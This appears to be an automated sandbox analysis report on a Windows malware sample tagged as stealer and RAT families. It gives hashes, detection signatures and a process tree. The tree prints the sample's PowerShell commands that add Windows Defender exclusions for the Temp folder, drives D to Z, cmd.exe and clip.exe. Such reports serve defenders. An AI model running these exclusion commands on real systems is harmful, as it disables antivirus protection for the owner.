8a5cd46a4e91474deaeea3fb1277bc993524a547bd09138a15fefa456155d4b6

Analysis

max time kernel
150s
max time network
145s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/07/2026, 22:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
Size 13.6MB
Sample260729-19vclsteme
SHA256 8a5cd46a4e91474deaeea3fb1277bc993524a547bd09138a15fefa456155d4b6
MD5 b18dbb4364eb84c4fcd6e405006d2fc2
SHA1 3e3c72a35aee2040bc517bd90ff3717b68c7cc2b
SHA512 27392ca32bb038821cce95332ba9446308c9ac348291fd80df8d3cb892ee2a041bd640813e69032e61542ddab4bb4bfe4d7dfbba531207888a855bd8f6d5ccc1
SSDEEP 393216:0q7JQ2bNddLQtx/vm5GVfzHvi0XMCHWUjXycuI3/PGTAI:0qtjbNddLQLXVflXMb8XPH/O7
TLSH
T180E6338CE6E401BDE2B3523DDDD165F5D17674A603B2C1EB1BA48291BC2B2D18E3DA13
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2784	powershell.exe
6108	powershell.exe
3388	powershell.exe
4152	powershell.exe
124	powershell.exe
5580	powershell.exe
1560	powershell.exe
4652	powershell.exe
5484	powershell.exe
3404	powershell.exe
1304	powershell.exe
2896	powershell.exe

Loads dropped DLL 15 IoCs

pid	Process
120	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
120	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
120	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
120	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
120	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
120	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
120	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
120	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
120	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
120	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
120	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
120	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
120	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
120	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
120	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe

Executes a command shell one-liner 1 TTPs 12 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3276	cmd.exe
2964	cmd.exe
5224	cmd.exe
4540	cmd.exe
2988	cmd.exe
2004	cmd.exe
5940	cmd.exe
1076	cmd.exe
5764	cmd.exe
2260	cmd.exe
2288	cmd.exe
2336	cmd.exe

Suspicious behavior: EnumeratesProcesses 37 IoCs

pid	Process
120	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
120	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3388	powershell.exe
3388	powershell.exe
1560	powershell.exe
1560	powershell.exe
1560	powershell.exe
4652	powershell.exe
4652	powershell.exe
4652	powershell.exe
5484	powershell.exe
5484	powershell.exe
5484	powershell.exe
3404	powershell.exe
3404	powershell.exe
3404	powershell.exe
1304	powershell.exe
1304	powershell.exe
1304	powershell.exe
2896	powershell.exe
2896	powershell.exe
2896	powershell.exe
2784	powershell.exe
2784	powershell.exe
2784	powershell.exe
6108	powershell.exe
6108	powershell.exe
6108	powershell.exe
4152	powershell.exe
4152	powershell.exe
4152	powershell.exe
124	powershell.exe
124	powershell.exe
124	powershell.exe
5580	powershell.exe
5580	powershell.exe
5580	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	120	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
Token: SeDebugPrivilege	3388	powershell.exe
Token: SeIncreaseQuotaPrivilege	3388	powershell.exe
Token: SeSecurityPrivilege	3388	powershell.exe
Token: SeTakeOwnershipPrivilege	3388	powershell.exe
Token: SeLoadDriverPrivilege	3388	powershell.exe
Token: SeSystemProfilePrivilege	3388	powershell.exe
Token: SeSystemtimePrivilege	3388	powershell.exe
Token: SeProfSingleProcessPrivilege	3388	powershell.exe
Token: SeIncBasePriorityPrivilege	3388	powershell.exe
Token: SeCreatePagefilePrivilege	3388	powershell.exe
Token: SeBackupPrivilege	3388	powershell.exe
Token: SeRestorePrivilege	3388	powershell.exe
Token: SeShutdownPrivilege	3388	powershell.exe
Token: SeDebugPrivilege	3388	powershell.exe
Token: SeSystemEnvironmentPrivilege	3388	powershell.exe
Token: SeRemoteShutdownPrivilege	3388	powershell.exe
Token: SeUndockPrivilege	3388	powershell.exe
Token: SeManageVolumePrivilege	3388	powershell.exe
Token: 33	3388	powershell.exe
Token: 34	3388	powershell.exe
Token: 35	3388	powershell.exe
Token: 36	3388	powershell.exe
Token: SeDebugPrivilege	1560	powershell.exe
Token: SeIncreaseQuotaPrivilege	1560	powershell.exe
Token: SeSecurityPrivilege	1560	powershell.exe
Token: SeTakeOwnershipPrivilege	1560	powershell.exe
Token: SeLoadDriverPrivilege	1560	powershell.exe
Token: SeSystemProfilePrivilege	1560	powershell.exe
Token: SeSystemtimePrivilege	1560	powershell.exe
Token: SeProfSingleProcessPrivilege	1560	powershell.exe
Token: SeIncBasePriorityPrivilege	1560	powershell.exe
Token: SeCreatePagefilePrivilege	1560	powershell.exe
Token: SeBackupPrivilege	1560	powershell.exe
Token: SeRestorePrivilege	1560	powershell.exe
Token: SeShutdownPrivilege	1560	powershell.exe
Token: SeDebugPrivilege	1560	powershell.exe
Token: SeSystemEnvironmentPrivilege	1560	powershell.exe
Token: SeRemoteShutdownPrivilege	1560	powershell.exe
Token: SeUndockPrivilege	1560	powershell.exe
Token: SeManageVolumePrivilege	1560	powershell.exe
Token: 33	1560	powershell.exe
Token: 34	1560	powershell.exe
Token: 35	1560	powershell.exe
Token: 36	1560	powershell.exe
Token: SeDebugPrivilege	4652	powershell.exe
Token: SeIncreaseQuotaPrivilege	4652	powershell.exe
Token: SeSecurityPrivilege	4652	powershell.exe
Token: SeTakeOwnershipPrivilege	4652	powershell.exe
Token: SeLoadDriverPrivilege	4652	powershell.exe
Token: SeSystemProfilePrivilege	4652	powershell.exe
Token: SeSystemtimePrivilege	4652	powershell.exe
Token: SeProfSingleProcessPrivilege	4652	powershell.exe
Token: SeIncBasePriorityPrivilege	4652	powershell.exe
Token: SeCreatePagefilePrivilege	4652	powershell.exe
Token: SeBackupPrivilege	4652	powershell.exe
Token: SeRestorePrivilege	4652	powershell.exe
Token: SeShutdownPrivilege	4652	powershell.exe
Token: SeDebugPrivilege	4652	powershell.exe
Token: SeSystemEnvironmentPrivilege	4652	powershell.exe
Token: SeRemoteShutdownPrivilege	4652	powershell.exe
Token: SeUndockPrivilege	4652	powershell.exe
Token: SeManageVolumePrivilege	4652	powershell.exe
Token: 33	4652	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 3492 wrote to memory of 120	3492	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	89
PID 120 wrote to memory of 2260	120	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	90
PID 2260 wrote to memory of 3388	2260	cmd.exe	92
PID 120 wrote to memory of 2988	120	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	94
PID 2988 wrote to memory of 1560	2988	cmd.exe	96
PID 120 wrote to memory of 2288	120	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	97
PID 2288 wrote to memory of 4652	2288	cmd.exe	99
PID 120 wrote to memory of 2004	120	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	100
PID 2004 wrote to memory of 5484	2004	cmd.exe	102
PID 120 wrote to memory of 2336	120	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	103
PID 2336 wrote to memory of 3404	2336	cmd.exe	105
PID 120 wrote to memory of 3276	120	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	106
PID 3276 wrote to memory of 1304	3276	cmd.exe	108
PID 120 wrote to memory of 2964	120	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	109
PID 2964 wrote to memory of 2896	2964	cmd.exe	111
PID 120 wrote to memory of 5940	120	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	112
PID 5940 wrote to memory of 2784	5940	cmd.exe	114
PID 120 wrote to memory of 5224	120	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	115
PID 5224 wrote to memory of 6108	5224	cmd.exe	117
PID 120 wrote to memory of 4540	120	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	118
PID 4540 wrote to memory of 4152	4540	cmd.exe	120
PID 120 wrote to memory of 1076	120	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	121
PID 1076 wrote to memory of 124	1076	cmd.exe	123
PID 120 wrote to memory of 5764	120	2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	125
PID 5764 wrote to memory of 5580	5764	cmd.exe	127

C:\Users\Admin\AppData\Local\Temp\2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3492
- C:\Users\Admin\AppData\Local\Temp\2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-07-29_b18dbb4364eb84c4fcd6e405006d2fc2_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2260
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\AccountPictures\dufefos'""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2988
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\AccountPictures\dufefos'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2288
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4652
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'D:\'""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2004
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'D:\'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5484
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'E:\'""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2336
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'E:\'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'F:\'""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3276
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'F:\'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'G:\'""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2964
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'G:\'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'X:\'""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5940
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'X:\'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'Y:\'""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5224
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'Y:\'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:6108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'Z:\'""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4540
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'Z:\'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4152
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1076
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5764
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5580

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact